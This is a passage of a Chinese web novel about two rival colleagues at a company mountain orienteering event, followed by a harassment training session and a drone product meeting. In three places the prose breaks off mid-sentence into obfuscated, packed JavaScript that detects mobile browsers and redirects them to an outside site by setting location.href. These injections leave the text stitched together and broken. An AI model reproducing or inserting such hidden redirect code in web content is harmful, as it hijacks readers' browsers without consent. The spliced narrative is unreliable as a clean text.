“红队。”陆晓研回答。鳗鱼甜咸的酱汁在舌尖化开,令人食指大动。 “那你和王总、商总一队呢。我是绿队,跟周晋一队。”吴月说:“胜算渺茫了,已经打算吃饭。” 周晋无所谓地说:“嗨,咱们出来就是玩得嘛,那么想赢多累。” 陆晓研吃下一口鳗鱼,认真地说:“不想赢玩什么游戏?” 周晋半张嘴,说:“这话我怎么好像在哪听过?” 陆晓研:“嗯?” 周晋一拍脑门,说:“想起来了,刚刚商总也这么说。” 陆晓研握着筷子的手几不可察地顿了一下。 商秦州说这句话,她可太不意外了。 一个人外表表现得再冷静内敛,温润如玉,如果他没有一颗足够强势的好胜心,怎么次次都稳稳立在众人之前,从无例外? 几乎是下意识地,她的目光越过桌上蒸腾的热气与晃动的人影,朝对面望去。 长桌彼端,商秦州身侧自然地围拢了几个人。暖黄灯光下,他背脊舒展地靠着椅背,手里握着一只清酒杯,听人说话时微微侧首,偶尔点头。有人上前敬酒,他便抬腕,杯沿在对方杯壁下半寸处轻轻一碰。 苏晴也笑着举起清酒杯:“商总,我敬您,明天还请多指教呀。” 商秦州抬眼看她,点了点头,倾斜杯中清透的酒液略一示意,然后仰首饮尽。宝石状的喉结随着吞咽的动作,在灯下滑动。 紧接着,他的目光已平和地转向了下一位上前寒暄的同事,姿态从容得恰到好处,既不因苏晴是女同事就过分热络,也未显丝毫怠慢。 似有所感,商秦州眼睫抬了抬,视线朝陆晓研这边掠来。 但她已经埋下头,全神贯注地和盘中的鳗鱼作斗争。 挤不进去的赛道她可不挤。 今晚的鱼真好吃,多吃一口都是赚大了。 晚饭后回房间的路上,山间的夜风带着沁人的凉意。 陆晓研抱着胳膊沿着走廊往房间走,脑子里已经开始盘算明天的比赛。 体能其实是她的弱项,但如果今晚提前在路线规划和打卡顺序上优化,胜率不就大大提升?她远远望了望外面沉静的山影,拿起手机认真查起了攻略。 “还不休息?”旁边忽然传来声音。 她吓了一跳,转头才看见商秦州不知何时走到了一旁的侧廊柱下。 他换了件深色的休闲毛衣,手里拿着一瓶水,像是刚从自动贩卖机那边过来。 现在陆晓研一看到从自动贩卖机里掉落的商品就ptsd,生怕商秦州又拿钱说事。 “嗯,就回了。”陆晓研回答。 商秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946750|193016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州点了点头,没再多说,脚步却也没加快,同她隔着一段廊柱的距离,与她并肩走在回房间的同一条路上。 灯笼挂在廊檐下,被风吹得轻轻摇晃,那暖橘色的光晕便也跟着晃动,将两人的影子投在深色的廊柱与地面上。 影子时而拉长,交叠成模糊的一团;时而被廊柱切割,短暂地分开,然后很快又在前方重新聚拢。 四下静极,只有风声。 远山的轮廓在夜色中沉沉睡去。 一种奇异的感觉在静默中蔓延,他们明明没有交谈,但好像互相陪伴着走了一路。 走到房门前,陆晓研从口袋摸出房卡。 商秦州的房间位置更靠前,他已停在自己房门前,手搭在门把上,侧过脸来。廊灯在他深邃的眼里落下一小簇微光,像寒潭深处偶然映出的一点星火。 “今晚睡好。”他说,语气平淡得像一句例行叮嘱,“体力不够,策略再好也没用。” “嘀” 门被轻轻带上的声音几乎与她的关门声同时响起。 陆晓研走进房间,在玄关的黑暗里站了几秒。 走廊的灯光从门底缝隙渗进来,一道极细的、暖黄色的线。 他怎么就看出来了? * 翌日清晨,山间雾气尚未散尽。 红队的集合点在一处溪流边的碎石滩。陆晓研到的时候,商秦州已经在了。他换了件深灰色的冲锋衣,拉链拉到下巴,背着一个轻便的黑色登山包,正低头调整腕表。 听见脚步声,他抬眼。 “早。”他先开了口,声音里带着晨起的微哑。 “早。”陆晓研莫名有些局促,也点了点头。 “打个商量。”商秦州突然开口。 “什么商量?” “既然分到同一队,那就暂时休战如何?”商秦州说。 陆晓研在心里嘀咕,谁想跟你战了?明明每次都是你不动声色地压人一头。 但她嘴上答应得飞快:“好啊。” “那就,”商秦州朝她走近半步,很自然地伸出手,“握个手?” 他的手掌宽大,指节分明,静静悬在清冷的晨雾里。 陆晓研垂下视线,看着那只手,迟疑了半秒,然后伸出自己的手,轻轻握了上去。 他的掌心干燥温热。 指节覆着厚厚的茧。 她飞快抽回手,觉得他们这行为真的很像幼儿园小朋友。 “哎呦商总,晓研,你们都到啦!” 王磊一手扶着腰,另一只手抹着额头上的汗,气喘吁吁地踩上碎石滩。他今天也穿了身崭新的冲锋衣,拉链敞开,露出里面一件过于鲜艳的抓绒内胆,背上鼓鼓囊囊的登山包看起来分量不轻。“这山庄怎么设计的……从房间走过来就快累死了。” 陆晓研说:“王总您悠着点啊!” 活动是山林定向越野,需要团队合作根据地图寻找打卡点。 红队的路线恰好有一段陡峭的溪谷。 王磊没走多久就气喘吁吁,脸上也浮现出不正常的红,连连摆手:“不行了不行了,我这老骨头……” 陆晓研看了眼地图,说:“王总您药吃了没?要不就在这休息吧,前面那段路我看过了,坡度很大,碎石也多。您要不就在这片平缓处歇歇?这里风景好,也安全。” 说着就接过王磊的镖旗,“您这部分的任务,我帮您带上。咱们队的总分,一分都不会少。” “唉,真是年纪不饶人。那就辛苦你了小陆,千万注意安全啊!”王磊的确体力不支,留下来休息反而才是不给年轻人添麻烦。 “您只管放心!”陆晓研利落地将王磊负责的镖旗别在自己背包侧袋。 一直沉默旁观的商秦州开口:“下一个点,应该往左上山脊。接下来的山路会越来越陡。陆晓研,你呢?你确定要上??” 陆晓研从不承认自己不如任何人,尤其是商秦州。 她昂起头,身后山峦苍翠,山风掠过,吹动她颊边碎发,晨光落入她清亮的眼底。 “当然,我能行。” 11. 第 11 章 山涧幽静,水声潺潺,偶尔有鸟鸣。 两人前一后走着,隔着不远不近的距离,谁都没说话,只有脚步声和呼吸声。 陆晓研抬头望,商秦州就走在她的前方。 阳光透过树叶缝隙,在他的黑色运动服上投下晃动的光斑。 背影挺拔如山间青竹,带着年轻人特有的清瘦劲韧,与苍茫山色融为一体。 袖口被随意卷至小臂,露出清晰有力的腕骨和青筋微现的手臂,随手拨开挡路的枝条。 他脚步很稳,不疾不徐。 有时会停下来,等陆晓研迎头赶上后,继续迈步向前走。 头顶的太阳越来越大,陆晓研在泉水旁找了一块平滑的大石头休息。 为了保存体力,他们每人带了一只运动水壶。走到现在,水壶里的水都告罄了,但接下来的路至少还要再走一个多小时。 “还有水吗?”陆晓研问。 商秦州说:“空了。” “那我有办法。” 她放下背包,从侧袋里取出一个轻薄的折叠水袋和一小瓶液体,蹲在溪边一块较干的石头上,将水袋浸入一处岩石背后回旋的、相对平静的浅洼。 “你在做什么?”商秦州问。 “这种野外溪流,看着干净,可能含有野生动物排泄物带来的细菌或寄生虫卵。”她一边操作,一边解释,熟练地滴入几滴净化药水,轻轻晃动水袋,然后拧紧。 “需要静置至少三十分钟才能确保安全饮用。不过,如果只是暂时解渴或应急清洗,现在也可以,药水本身是食品级的。” 她拧紧袋口,这才站起身,转向他,“商总,要补充点水吗?前面的路可能还长。” 商秦州没有立刻接过水壶,而是看她。 陆晓研半蹲在溪畔青灰色石块上,微微仰着头。 晨间林隙的光,照亮她光洁的额头。鼻尖沁出细小的汗珠,莹润如晨露。皮肤在清澈的光线下显得近乎透明,透出一种健康细腻的暖色调,仿佛自身也在微微发光。 见商秦州半晌不接水壶,而是一直盯着她看。陆晓研有些纳闷,弄不清商秦州葫芦里又在卖什么汤药。干脆当着商秦州的面,拧开水壶盖,昂头喝了一大口,说:“看吧,真没毒。” 这次,商秦州微微顿了顿,将水袋接了过去。 “谢谢。” 陆晓研腹诽。 果然是怕她投/毒呢…… 商秦州旋开袋口。 陆晓研忽地想起,她刚才递水壶的时候,似乎忘记擦瓶口了。 “等……” 但商秦州已经喝了。 吞咽时,喉结滚动。 一滴水珠顺着他的下颌和喉结没入衣领。 陆晓研的视线下意识地追随那滴水珠,又迅速移开,看向旁边摇曳的树叶。 “怎么了?”商秦州问。 陆晓研脸涨了涨,摇摇头,说:“没什么。” 她接过水壶,用纸巾非常小心仔细地擦拭干净被商秦州用过的瓶口。 周遭水声潺潺。 她感觉商秦州好像一直在盯着她看。她怕自己是自作多情,小心翼翼瞥去一眼,就见商秦州在盯着她擦拭瓶口的手。 陆晓研立刻停了下来,默默昂头喝了几口。 山泉水清凉,入腹解渴,还泛着一丝丝甜味儿。 她又重新灌了一大瓶,放在背包左侧。 “好啦。”她拉上背包拉链,看向前方山路,踌躇满志地大声说:“继续出发。” 再往前走,山路越来越陡。 腐烂的落叶覆盖着湿滑的石阶,空气里是泥土和蕨类植物的潮腥气。 行至一段相对平缓的弯道,林木稍疏,大片天光豁然洒下,将两人周身映得透亮。 大概是她好心分给商秦州水的缘故,两人的关系更轻松了些。 在一处需手脚并用、攀住裸露树根才能上去的陡坎,商秦州率先上去后,然后留在原地,向陆晓研伸出了手。 陆晓研抬眼,看到他逆着林隙微光伸来的手掌,指节分明,掌心向上。她没多犹豫,握了上去。 他手臂沉稳的力道传来,将她轻松带了上去。 陆晓研站定,松了口气,开玩笑说:“刚刚那个动作,好适合做受力分析。” “基本功很扎实。”商秦州说:“我记得,你高中物理就很好。高三物理竞赛……你拿了第二?” 就像意大利人看到披萨上洒满了菠萝,中国人看到饺子里包的是巧克力。陆晓研浑身上下最硬茬的逆鳞,就这么被商秦州一句话给碰到了,她当场红温,几乎要跳起来。 “不是第二,是第一,我是第一!”她着重强调。 “是吗?”商秦州抬了抬眉,说:“可我怎么记得,你那次模拟考是117?” “是你117,我118!”陆晓研已经顾不得什么成年人的体面和矜持。她赢过商秦州的次数其实不算多,所以每一次她都尤为珍视,视为辉煌的战果。 “我记得非常非常清楚,最后那道电磁感应与力学结合的压轴题,只有我和你两个人解出来,但是我的步骤更简洁,所以老师多给了我1分。” 她一口气说完,胸口微微起伏,眼睛亮得惊人,“我记得可太清楚了!怎么可能记错!” 商秦州没再继续跟她争,反而有些好笑地看着她。 眼底是一丝极淡的、近乎纵容的笑意。 那笑意仿佛在说:看,你还是这样。 这了然的目光让陆晓研热血褪去,羞赧后知后觉地涌上。 都过去多少年了,自己竟然还为了一次考试的几分之差,在荒郊野岭跟人急眼…… 她有些不自在地别开脸,耳根发烫。 山顶的风更大了一些,吹散了她颊边的热度。 “真不知道,那时候到底在争什么。不过是一道题,一分,一个名次。” 她抬起头,感受清风拂面,望向更辽阔的天际,说:“如果不是总想追上你,超过你,我可能不会把自己逼得那么紧,也不会……后来走到这里,看到这样的风景。” 商秦州没说话,和她一起静静地站悬崖前吹吹风。 这时,他们佩戴的对讲机同时传来播报: “各位队员注意!终点已近在眼前。目前排序是红队、绿队和橙队。 “今晚我们还有一个彩蛋环节,首位将队旗插入基座的队员,将获得‘今日攀登之星’个人勋章,并获得由山庄赞助的特别纪念品一份。最后送上我们商总的讲话:希望大家赛出风格,赛出水平……” 这道广播一响,两个人同时正襟危坐起来。 陆晓研脑子只剩下一个键词—— 赢! 赢! 赢赢赢赢赢! 几乎在同一时刻,她下意识地看向商秦州。 两个人眼神一对上,陆晓研立马知道商秦州绝对绝对也是这么想的。 “陆总监。”商秦州说。 “商总。”陆晓研稳住呼吸,浑身戒备。 商秦州:“你对这个MVP有什么看法?” 陆晓研做答:“这是公司为我们精心准备的激励,非常有意义。我当然要竭尽全力,为我们团队做出最大的贡献。” 这一刻,陆晓研觉得自己的情商从来没有过的高。 商秦州低低地“嗯”了一声,“说得很好,发言很标准。” “既然你这么有团队精神,”商秦州微一顿,看她的眼神真诚得几乎可以评上年度最佳队友,“那我们的团队物资,就交给最可靠的战友保管了。” 陆晓研被商秦州这一本正经的胡说八道弄得一愣,还没反应过来,怀中就被塞进了一只沉甸甸的背包。 她被背包弄得往后退了半步,再抬眼,商秦州已经一马当,率先上山了。 陆晓研抱着两个背包,在原地足足石化了两秒。 “商——秦——州——!!!” “诈骗,这就是诈骗啊!!!!”她一边飞快地把两个背包并排放在显眼的大石头旁,一边气得语无伦次。 商秦州是男性,在体力上本来就比她强,更何况还抢了先手,她不可能卷得过他。但她也不是吃素的,她在出发前就做了最充足的攻略,知道怎么走最快。 她将背包放好做好标记就撒丫子跑,冲向另一条她事先研究过的、更陡但更近的狭窄小径。 在到达终点的最后五十米的缓坡,两道身影几乎同时从不同方向出现。 陆晓研喘着气,瞪向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946751|193016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身旁气息竟平缓自如,步伐未乱的男人,控诉道:“商秦州,你,你跟我来阴的???” 商秦州侧目看她,因运动而汗湿的额发下,眼眸深邃。 唇角勾起一抹极淡的、近乎挑衅的弧度:“谢谢。兵不厌诈。” “好,好好好!”陆晓研被他这理直气壮的样子激得头脑发热,“就这么玩是吧,是吧……” 士可杀不可辱,她今天非要赢了不可。 她连自己都没来得及思考,就突然抱住商秦州的脖颈,商秦州因这意外接触而身体微滞。仰起脸,带着一丝报复般的狠劲,将温热的唇齿不轻不重地碰在他上下滚动的喉结上…… 触感温热。 血管剧烈的跳动。 就像那个朦胧的夜晚,她光脚踩在他的脚背,随着音乐摇晃。 指尖好奇地抚过他颈间凸起,问:“为什么男生会有喉结啊?女生就没有。” 他捉住她作乱的手,反剪到她身后,声音低哑:“这是男人的弱点。” 商秦州的脚步骤然顿住。 陆晓研趁商秦州落后的时刻,朝着近在咫尺的终点旗杆,奋力冲刺:“嚓!” 用尽全力,将自己的镖旗深深插入山顶的基座。 红色镖旗在山顶的风中猎猎展开。 山腰处隐约传来被扩音器放大的、断断续续的欢呼和音乐声。 紧接着,一道洪亮激昂的通报声,借助散布在山路上的广播设备,层层叠叠、由远及近地传了上来,回荡在空旷的山巅: “红队登顶成功!!!!!” “这次的登山获胜团队是红队!!!!” “红队——登顶——成功——!!!!” “重复!红队——登顶——成功——!!!!” “本次登山活动——获胜团队是——红队!!!” “让我们恭喜——本场‘攀登之星’MVP得主是——” 山风似乎也为之屏息了一瞬。 陆晓研听到她的名字,被无比清晰地、伴随着山下隐约沸腾的喧嚣,送上顶峰:“——陆、晓、研——!!!” “恭喜陆晓研——!!!” 风声,广播里循环播放的庆祝音乐,以及她自己尚未平复的喘息和心跳, 陆晓研心脏狂跳,胜利的喜悦却很快被脚踝传来的一阵锐痛冲淡。 刚才她冲得太快,最后那下不顾一切的发力好像扭伤了脚踝。 她撑着旗杆,像拄着一根拐杖,慢慢挪到旁边一块背风的大石旁,试着活动脚踝,才刚一扭动,立刻就传来了钻心的酸疼。 紧接着,商秦州也过来了。 陆晓研连忙将头扭开,不太敢去看商秦州的方向。 用那种方式“赢”……商秦州肯定气疯了。 只盼着商秦州没发现她崴了脚,赶快走,别让她这副一瘸一拐的惨状再雪上加霜。 脚步声在她附近停下。 她能感觉到他的目光,沉甸甸地落在她身上,在她故意缩起的肩背上停留了片刻。没有预想中的质问或冷笑,只有一片令人心慌的沉默,混合着山风呼啸的声响。 然后,脚步声再次响起。 却是朝着下山的方向,不疾不徐,渐渐远去。 商秦州走了。 陆晓研紧绷的肩线微微一松,说不清是庆幸还是别的什么,只觉得赢了似乎也没有她想象的那么快乐。脚踝的痛楚似乎也更清晰了。 她咬着牙,尝试动了动脚腕,立刻又疼得“嘶”了一声,额角冒出冷汗。 那熟悉的脚步声,去而复返。 商秦州不知何时已折返,就站在她几步开外。 山顶的风吹乱了他的黑发,脸上没什么表情,呼吸平复如常,只是额角与脖颈处还留有运动后的薄汗。 目光移在了他的脖颈上,陆晓研仿佛被烫到,连忙移开眼,“我赢了哦。” “嗯,知道了。” 商秦州走到她面前,然后,转过身,背对着她,微微屈下了膝盖。 “上来。”声音平淡,不容置疑。 “干嘛?”陆晓研将镖旗攥得更紧。 见她不动,他侧过头,淡淡地对她扔下一句:“你说我干嘛?我把第一名背回去。” 12. 第 12 章 商秦州能有这么好心? 陆晓研可不信。 她捂着受伤的脚踝,警惕地说:“你不是要把我从山上扔下去吧?” 商秦州竟真的认真思考了片刻她的提议,回答:“这个想法不错。” 陆晓研:“……” “但是犯法,”商秦州说:“上来。” 山风掠过。 吹动他背上干爽的衣料,紧贴出流畅而坚实的肩胛线条。 总得想办法下山去,陆晓研磨蹭了一会儿,终于伸出手,小心翼翼地攀住商秦州的肩,然后将身体的重量移至他的后背上。 胸口不可避免地轻贴上他的背脊。那是和她的柔软全然不同的坚实和滚烫。隔着薄薄的冲锋衣料,传来不容忽视的温度与力量感。 她甚至能听到属于商秦州的稳健的心跳。 与自己因疼痛、尴尬和一丝莫名慌乱而略显急促的心跳截然不同。商秦州的心跳,是徐缓的,有力的,咚、咚、咚,规律而坚实,一声声,在她与他紧密相贴的方寸之间,清晰地叩击着。 她甚至不自觉地,被这节奏牵引着,试图调整自己有些紊乱的呼吸。 商秦州手臂向后,托住了她的腿弯,紧接着站起身。 “你……”陆晓研小声说:“你摔我的时候,提前跟我说一声啊,我要提前保护我的脑袋。” 商秦州“嗯”了一声,紧接着说:“我要摔了。” “啊……”陆晓研如临大敌地抱得更紧。 结果提心吊胆半天,也没等到商秦州的松手。 “又耍我!”她埋怨。 商秦州没开腔,但后背随着他的低笑传来一阵震荡。 “你刚刚从哪儿蹿出来的?”商秦州问。他抢了先手,又走得那么快,理论上陆晓研是不可能弯道超他车。 “嘿嘿,厉害吧?”陆晓研得意洋洋,“我提前查的攻略,旁边有一条更近的路。” “危险吗?” “比你走的那条肯定陡一点,但也还好。”陆晓研回答。 商秦州没再说话。 下山的路漫长而曲折,他每一步都踩得扎实,后背稳健的承载着她的重量,传递出一种沉默而强大的可靠。 陆晓研起初僵硬地悬着上半身,不敢完全放松。 但渐渐地,那持续传来的体温和心跳般的安稳节奏,让她不自觉松懈下来。 她低下头,脸颊距离他的后背更近,但又不敢完全贴上去,留下下一个呼吸的间距。 她能感觉到,他温热的体温正源源不断地从衣物纤维里透出的,像初冬午后晒透了的棉絮。 “陆晓研。”商秦州突然一本正经地叫她名字。 “嗯?”陆晓研支棱起脑袋。 “回公司后,行政那边应该会安排一个培训,‘职场防骚扰安全意识培训’。你必须参加。” “啊?”陆晓研工作这么久,压根就没听说过这种培训:“什么培训?我入职这么些年,没听说过这可培训啊?新开的?防骚扰?我又没……” “你又没什么?” 陆晓研顿了一下,把“没人骚扰我”几个字咽了回去,总觉得这话说出来哪里怪怪的。 “这个培训是双向的,”商秦州说:“既教你怎么识别,也提醒你作为中层管理预备人才,平时要如何注意自己的言行。” “哦……”陆晓研还是一头雾水。 商秦州总是这么弯弯绕绕,一句话八百个心眼。她有时候觉得,就算他当面把人给骂了,对方恐怕也得傻呵呵地笑着点头,等回了家、躺到床上,半夜才突然一个激灵坐起来,一拍大腿——“他骂老子呢!” 陆晓研在心里默默复盘他刚才那几句话。 防骚扰安全意识培训、双向的、注意自己的言行…… 等等! 原来在这儿等着她呢。 商秦州让她去培训,不是让她防被骚扰,是叫她以后不要再去骚扰别人! 脑子里“嗡”地一声,脸颊瞬间烧了起来,连耳根都跟着发烫。 很想把商秦州的阴阳顶回去,但刚刚的行径又的确十分理亏。 其实,其实我…… 其实我真的从来没有这么对其他人。 无论是那天晚上,还是刚刚。 她也不知道,为什么她唯独对商秦州这么出格。 但说给商秦州听,他会信吗? 肯定不会。 陆晓研几乎要把嘴唇咬破了,也憋不出反击的话来。 只能把发烫的脸颊悄悄埋低了一点,额头几乎抵住他肩胛骨凸起的弧度,不再吭声。 陆晓研难得这么安静,收起了她的伶牙俐齿和张牙舞爪,犹如天下太平。 但即使她不再开口说话,她的呼吸却依然吹拂在他的脖颈上。 温热、轻浅。 那里像被她的气息点燃了一小簇幽暗的火,不剧烈,却持续地煨着, 每一次轻吐,都像一片极柔软的羽毛,反复擦过最敏感的神经末梢。 那一小块皮肤很快便比其他部位都要灼热,几乎要凝出一团看不见的、湿热的雾。 湿漉漉的,黏腻地附着在那里。 就像她刚刚湿润的嘴唇,咬在他滚动的喉结上。 最陡峭的山路走完,接下来的地势稍平。 陆晓研觉得脚踝的酸痛暂时过去了,便从商秦州背上下来,用镖旗当拐杖,慢慢往下走。 “我天,这是怎么回事啊?怎么还带着伤下来!”王磊大老远看到陆晓研是被商秦州扶着下的山,吓了一大跳,立刻小跑着迎上来。 “嗨,没事。”陆晓研咧嘴大笑,“就最后冲顶急了点儿,扭了一下。这有什么?听到广播了吗?我们赢了哦!红队登顶,我是MVP!” “当然听到了,老早广播就响了,”王磊大声招呼:“都快过来!咱们红队的功臣们回来了!还是负伤不下火线的!” 这一嗓子,把正在休息区闲聊、收拾东西的同事们全都吸引了过来。大家呼啦一下围拢,七嘴八舌,“商总亲自带队,那能不胜吗?” “就是!商总肯定是一路指挥若定,运筹帷幄!” “领导辛苦!这回咱们红队可太露脸了!” “商总,您没伤着吧?这山路可不好走。” “没事。”商秦州松开扶陆晓研的手,说:“给她检查一下脚踝。” 陆晓研被扶着坐下,享受着“功臣”待遇。随队医生按住她的脚踝,她立马龇牙咧嘴:“哎哟哎哟,医生医生轻一点嗷。” “你还知道疼呢?”王磊看得其实有点心疼,但嘴上挤兑说:“我还以为你一身狗肉不知道疼呢。” “我哪儿能不知道?疼死我了。”陆晓研眨巴眼,装起了可怜。 “今天表现确实漂亮,不过有些话咱私下说,”王磊在陆晓研旁边的空箱子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没有“你们已成为好友”的系统提示,没有节日祝福的转发,没有“在吗”的试探,什么都没有。从互加好友到现在,他们终于发了第一条消息。 Silent Peak :“脚怎样?” 陆晓研回复:“脚崴了,但没什么事。” Silent Peak :“嗯。” 陆晓研等了一会儿。 商秦州没再发来消息。 屏幕暗了下来。 鬼使神差地,她点进了他的朋友圈看了一圈。 商秦州的朋友圈没什么内容。 最新一条还是几年前某次科技峰会,里面有一款无人机他很感兴趣,发了一组九宫格。 她退出来,长按选择“修改备注”。 先是规规矩矩地输入“商秦州”。看了看,觉得太正式。 删掉。 改成“商总经理”。 更糟了,充满了刻板的下级感。 再删掉。 看着那个沉默的群山头像和“Silent Peak”的名字,陆晓研心里忽然冒出一个有点幼稚的恶作剧。 吃饭、睡觉、打BOSS。 于是她将名字改成:【商大BOSS】。 改完后,她将额头抵在窗户上偷笑。 13. 第 13 章 回公司后,行政真安排陆晓研参加“职场防骚扰安全意识培训”。 收到通知,陆晓研有点哭笑不得,还以为是行政弄错了。 “真要我去啊???” “当然啦陆总监,“行政说:“公司规定,所有中层管理人员都得参加。您可是技术部的重点培养对象,提前学习一下,很有必要的!” 陆晓研只得硬着头皮去。 在心中骂了商秦州一千遍“小心眼子”。 不就是亲了一口? 又不是咬下了一块肉。 至于么? 到了会议室,陆晓研像一尾潜入深水的鱼,悄无声息地滑进在后排最不起眼的位置坐下。 刚坐稳,一抬眼,就看见商秦州坐在她前排侧方的位置。他脱了西装外套,只着一件挺括的白衬衫,袖子规整地挽至小臂中间,露出精瘦的手腕和那块表盘简洁的腕表。 无数次午后,空荡的教室里,永远坐在她前方几排,心无旁骛埋首于书卷和草稿纸间的少年,他的背影,似乎也是这样。 时间仿佛在这一刻被诡异地压缩、折叠。 让这两道影子缓缓重叠在一起。 就在这时,商秦州似乎感知到了什么,毫无征兆地,朝她的方向偏了偏头。 两人眼睛对上,不得不触发对话。 “陆总监,”商秦州抬了抬眉梢,率先开团:“今天的培训,可一定要好好听讲。” “当然当然,”陆晓研职业假笑:“感谢商总给了我这么好的学习机会……” 培训讲师是位经验丰富、风格活泼的HR,正讲到“如何得体应对模糊情境”。 “好,我们来看一个常见案例,”讲师翻动PPT,“假设在一次项目结束后,一位中层管理人员说:如果你让我亲一口,我就给你升职加薪。大家觉得,第一时间最该做什么?” 有男同事开玩笑说:“那肯定是……当场接受。” “噗……” “哈哈哈哈哈!” 陆晓研正神游天外,琢磨着商秦州的后脑勺,被讲师突然投来的鼓励目光一cue,脑子一抽,声音清脆地回答:“当场过肩摔。” 会议室里瞬间爆出一片压低的笑声。连讲师都愣了一下,随即笑道:“这位同事的……自我保护意识非常强烈,行动力满分!不过,我们通常建议可以先尝试清晰、冷静的口头边界设定,比如‘请保持距离’,然后和行政人事联系。过肩摔’尽量当成备选方案,” 培训结束后,讲师说:“接下来,请商总为我们总结发言。” 商秦州的目光平静地扫过会场,声音一如既往的平稳:“刚才讲师讲得很好,我补充两句。” “首先,在座的各位,尤其是带团队、手中有权的中层、高层,请各位先管好自己,洁身自好。不该伸的手,别伸;不该动的心思,别动。这是底线,也是对自己、对团队最基本的负责。公司不容任何人以任何形式施加胁迫或冒犯。” 话音落下,他没有等待掌声,只是略微一点头,示意讲师继续。 会议室里静了几秒,随即响起的掌声,比之前任何一次都要热烈、持久。 培训会不算冗长,大约半个小时左右就结束了。 陆晓研回到工位,周晋凑过来问她:“晓研姐刚才开什么会去了?” “别提了,”陆晓研把笔记本往桌上一放,“防骚扰……” 周晋快要笑死:“咱们公司怎么还开这种会啊。” “你可别笑,”吴月说:“商总这是在敲打人呢。楼上高层那群老登,不总有对年轻新员工有点花花肠子么?商总现在把这个培训会一开,这些老登可不得老实点?谁再动歪心思,就不能怪他收拾人了。” 陆晓研竖起耳朵。 原来还有这茬。 “你别看商总说话做事挺和气的,其实他还挺雷厉风行的啊。”周晋说。 “那可不,商总还给公司所有高层开会,要求所有文件必须48小时批完,要求行政对高层严格考核,月底哪个高层工作效率太低,那是要被挂出来的。” 吴月抽了口气,说:“这么狠啊?” “所以你看这几天各个高层领导都在办公室里坐着呢,都不敢往外跑,让咱们随时都能找到人。” 吴月眼珠一转,突然用胳膊肘碰碰周晋,调侃道:“喂,如果你有一个美貌女上司对你说,如果你让我亲你一口,我就给你项目开一路绿灯,你怎么选?” 周晋立刻夸张地捂住胸口,往后一仰:“我当然一把推开,然后严肃地告诉她,”他拖长声音,一脸正气,“得!加!钱!” “哈哈哈哈!”几人笑得前仰后俯。 “笑这么开心?” 带笑的声音突然从门口插进来。王磊抱着文件夹站在那里,似笑非笑地看着他们:“看来都挺闲?正好,商总十分钟后开部门例会,都准备好了吗?” “啊……”几人笑脸立刻变哭哭脸,比川剧变脸还快。 * 会议室,商秦州坐在长桌尽头。 他抬手看了看时间,开口时声音不高,却让交头接耳的细碎声响瞬间平息:“各位手头工作都忙,我们控制时间,每人半小时。轮流阐述对‘天鹰2.0’的升级构想。从左边开始。” 前面几位同事的发言大多中规中矩。 围绕现有产品的性能微调展开。 续航提升百分之十,或者增加图传稳定性增强 轮到苏晴,她轻盈地站起身,走到投影旁,PPT亮起,是精心制作的视频和绚丽图表。 “我认为,下一代产品的破局点,在于‘引爆社交传播’。我们可以将画质推向‘电影感4K’的极致,开发‘AI视觉叙事大师’功能。 商秦州提问:“‘AI视觉叙事大师’是什么功能?” “好的商总,”苏晴解释道:“用户拍摄结束后,算法能自动选取高光片段,生成可直接分享至社交平台的短视频。这将精准切入内容创作者和潮流人群市场。” “想象一下,当一位百万粉丝的旅行博主用我们的产品产出爆款视频,带来的品牌曝光和跟风效应,将是指数级的。他们的每一次使用,对我们的产品就是一次曝光,一次广告。” 几位市场部负责人交汇,频频颔首:“苏晴这个思路不错,数据增长会非常直观,APP日活和用户生成内容量这两个指标,投资人最爱看。” 商秦州脸上没什么表情,在笔记本上记录了几行,笔尖稳健。 他在苏晴展示结束时抬了下眼,声音平淡:“下一位。陆晓研。” “好的。”陆晓研打开PPT。 她的ppt页面是极简的深蓝底,上面是清晰的技术架构图和几张无人机在模拟极端环境中测试的示意图。 “我的设想,‘天鹰2.0’应该是一款能够应对全天候、全地形挑战的智能作业平台。它将能在高山、峡谷、灾害现场等信号弱、环境险恶的区域执行勘察、测绘、搜索、物资投送等任务。” “当城市内涝、山火、地震发生时,我们的无人机将是能第一时间升空,提供关键信息或援助的那一个。” 她说完,会议室安静了一瞬。 商秦州的目光从屏幕移开,缓缓扫过在座的高管:“魏总,从产品角度看?” 他点到谁,谁就脑门冒汗。 魏总:“陆总监这个方向……技术挑战非常大。” 商秦州不置可否,目光转向另一侧:“刘总,市场角度呢?” 市场部经理刘总摊了下手,语气务实:“魏总说得对,技术价值有。但研发周期、投入成本,都是苏晴方案的数倍甚至更多。而苏总监的方案,瞄准的是现有、活跃、且愿意为内容付费的用户群体,回报路径更短,风险更可控。从今年业绩压力来看,后者的确定性更强。” 商秦州说:“苏晴和陆晓研的方案各有侧重,分别安排A组和B组拿出具体方案。” 会议室里响起低低的议论声,有人点头,有人皱眉。 几分钟后,议论声渐渐平息,等商秦州盖棺定论。 